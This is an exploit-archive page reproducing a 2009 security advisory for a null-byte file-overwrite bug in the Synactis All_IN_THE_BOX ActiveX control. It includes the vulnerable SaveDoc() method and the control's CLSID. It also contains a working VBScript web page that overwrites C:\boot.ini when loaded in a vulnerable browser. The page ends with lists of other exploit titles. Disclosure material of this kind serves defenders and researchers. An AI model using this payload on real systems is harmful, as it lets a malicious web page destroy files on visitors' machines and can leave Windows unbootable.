Menu

Search for hundreds of thousands of exploits

"Synactis All_IN_THE_BOX ActiveX 3.0 - Null Byte File Overwrite"

Author

Exploit author

DSecRG

Platform

Exploit platform

windows

Release date

Exploit published date

2009-01-30

Download file

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
Digital Security Research Group [DSecRG] Advisory       #DSECRG-09-006

http://www.dsecrg.com/pages/vul/show.php?id=62


Application:                    Synactis All_IN_THE_BOX ActiveX
Versions Affected:              3
Vendor URL:                     http://synactis.com
Bugs:                           Null byte File overwriting
Exploits:                       YES
Reported:                       15.01.2009
Vendor response:                NONE
Second Report:                  22.01.2009
Vendor response:                NONE
Date of Public Advisory:        30.01.2009
Authors:                        Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)


Description
***********
Synactis All_IN_THE_BOX ActiveX  Control  (ALL_IN_THE_BOX.OCX) can be used to owervrite any any file in target system.
Vulnerable method is "SaveDoc()"


Details
*******

By default when saving file All_IN_THE_BOX ActiveX control  attend extension to filename variable in "SaveDoc()" method.
For example if you enter filename "boot.ini" in "SaveDoc()" method then control will create file boot.ini.box.
But by attending a null byte to filename attacker can owervrite any file in OS (see example for owervriting boot.ini)



Class AllBox
GUID: {B5576893-F948-4E0F-9BE1-A37CB56D66FF}
Number of Interfaces: 1
Default Interface: IAllBox
RegKey Safe for Script: False
RegkeySafe for Init: False
KillBitSet: False



Example:
*******

<html>
Test Exploit page
<object classid='clsid:B5576893-F948-4E0F-9BE1-A37CB56D66FF' id='sh2kerr' ></object>
<script language='vbscript'>

targetFile = "C:\PROGRA~1\Synactis\ALLIN-~1\ALL_IN~1.OCX"
prototype  = "Sub SaveDoc ( ByVal aFileName As String )"
memberName = "SaveDoc"
progid     = "All_In_The_Box.AllBox"
argCount   = 1
arg1="C:\boot.ini"+unescape("%00")
sh2kerr.SaveDoc arg1
</script>
</html>



Fix Information
***************

No patches available.
We did not get any response from vendor for 2 weeks.




About
*****

Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.


Contact:        research [at] dsec [dot] ru
                http://www.dsecrg.com
                http://www.dsec.ru

# milw0rm.com [2009-01-30]
Release Date Title Type Platform Author
2020-12-02 "Bakeshop Online Ordering System 1.0 - 'Owner' Persistent Cross-site scripting" webapps multiple "Parshwa Bhavsar"
2020-12-02 "Pharmacy Store Management System 1.0 - 'id' SQL Injection" webapps php "Aydın Baran Ertemir"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "Microsoft Windows - Win32k Elevation of Privilege" local windows nu11secur1ty
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "ILIAS Learning Management System 4.3 - SSRF" webapps multiple Dot
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
2020-12-02 "Expense Management System - 'description' Stored Cross Site Scripting" webapps multiple "Nikhil Kumar"
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "PRTG Network Monitor 20.4.63.1412 - 'maps' Stored XSS" webapps windows "Amin Rawah"
2020-12-02 "Microsoft Windows - Win32k Elevation of Privilege" local windows nu11secur1ty
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
2020-12-01 "Pearson Vue VTS 2.3.1911 Installer - VUEApplicationWrapper Unquoted Service Path" local windows Jok3r
2020-12-01 "Intel(r) Management and Security Application 5.2 - User Notification Service Unquoted Service Path" local windows "Metin Yunus Kandemir"
2020-12-01 "EPSON Status Monitor 3 'EPSON_PM_RPCV4_06' - Unquoted Service Path" local windows SamAlucard
2020-12-01 "Global Registration Service 1.0.0.3 - 'GREGsvc.exe' Unquoted Service Path" local windows "Emmanuel Lujan"
2020-12-01 "10-Strike Network Inventory Explorer 8.65 - Buffer Overflow (SEH)" local windows Sectechs
2020-11-30 "YATinyWinFTP - Denial of Service (PoC)" remote windows strider
Release Date Title Type Platform Author
2009-08-18 "Adobe JRun 4 - 'logfile' (Authenticated) Directory Traversal" remote windows DSecRG
2009-06-08 "SAP GUI 6.4 - ActiveX (Accept) Remote Buffer Overflow (PoC)" dos windows DSecRG
2009-05-05 "GlassFish Enterprise Server 2.1 - Admin Console /configuration/configuration.jsf URI Cross-Site Scripting" remote multiple DSecRG
2009-05-05 "GlassFish Enterprise Server 2.1 - Admin Console '/configuration/auditModuleEdit.jsf?name' Cross-Site Scripting" remote multiple DSecRG
2009-05-05 "Woodstock 4.2 404 - Error Page Cross-Site Scripting" remote multiple DSecRG
2009-05-05 "GlassFish Enterprise Server 2.1 - Admin Console /sysnet/registration.jsf URI Cross-Site Scripting" remote multiple DSecRG
2009-05-05 "GlassFish Enterprise Server 2.1 - Admin Console /applications/applications.jsf URI Cross-Site Scripting" remote multiple DSecRG
2009-05-05 "GlassFish Enterprise Server 2.1 - Admin Console /webService/webServicesGeneral.jsf URI Cross-Site Scripting" remote multiple DSecRG
2009-05-05 "GlassFish Enterprise Server 2.1 - Admin Console '/resourceNode/jdbcResourceEdit.jsf?name' Cross-Site Scripting" remote multiple DSecRG
2009-05-05 "GlassFish Enterprise Server 2.1 - Admin Console /resourceNode/resources.jsf URI Cross-Site Scripting" remote multiple DSecRG
2009-05-05 "GlassFish Enterprise Server 2.1 - Admin Console /customMBeans/customMBeans.jsf URI Cross-Site Scripting" remote multiple DSecRG
2009-04-16 "Apache Geronimo 2.1.x - Cross-Site Request Forgery (Multiple Admin Function)" remote multiple DSecRG
2009-04-16 "Apache Geronimo 2.1.3 - Multiple Directory Traversal Vulnerabilities" remote multiple DSecRG
2009-04-16 "Apache Geronimo 2.1.x - '/console/portal/Server/Monitoring' Multiple Cross-Site Scripting Vulnerabilities" remote multiple DSecRG
2009-04-16 "Apache Geronimo 2.1.x - '/console/portal/' URI Cross-Site Scripting" remote multiple DSecRG
2009-04-14 "ablespace 1.0 - Cross-Site Scripting / Blind SQL Injection" webapps php DSecRG
2009-04-10 "Chance-i DiViS DVR System Web-Server - Directory Traversal" remote windows DSecRG
2009-04-10 "Chance-i DiViS-Web DVR System - ActiveX Control Heap Overflow (PoC)" dos windows DSecRG
2009-03-31 "PrecisionID Datamatrix - ActiveX Arbitrary File Overwrite" remote windows DSecRG
2009-01-30 "Synactis All_IN_THE_BOX ActiveX 3.0 - Null Byte File Overwrite" remote windows DSecRG
2009-01-27 "Pixie CMS 1.0 - Multiple Local File Inclusions" webapps php DSecRG
2009-01-21 "AXIS 70U - Network Document Server Privilege Escalation / Cross-Site Scripting" remote hardware DSecRG
2008-12-08 "XOOPS 2.3.1 - Multiple Local File Inclusions" webapps php DSecRG
2008-11-18 "Pluck CMS 4.5.3 - 'g_pcltar_lib_dir' Local File Inclusion" webapps php DSecRG
2008-08-25 "EZContents CMS 2.0.3 - Multiple Local File Inclusions" webapps php DSecRG
2008-08-25 "Pluck CMS 4.5.2 - Multiple Local File Inclusions" webapps php DSecRG
2008-07-30 "MJGUEST 6.8 - 'Guestbook.js.php' Cross-Site Scripting" webapps php DSecRG
2008-07-29 "Minishowcase 09b136 - 'lang' Local File Inclusion" webapps php DSecRG
2008-07-28 "Velocity Web-Server 1.0 - Directory Traversal" remote windows DSecRG
2008-07-28 "PixelPost 1.7.1 - 'language_full' Local File Inclusion" webapps php DSecRG 
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Cipher Protocols Sigalg Trusted

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.

Host WAF detected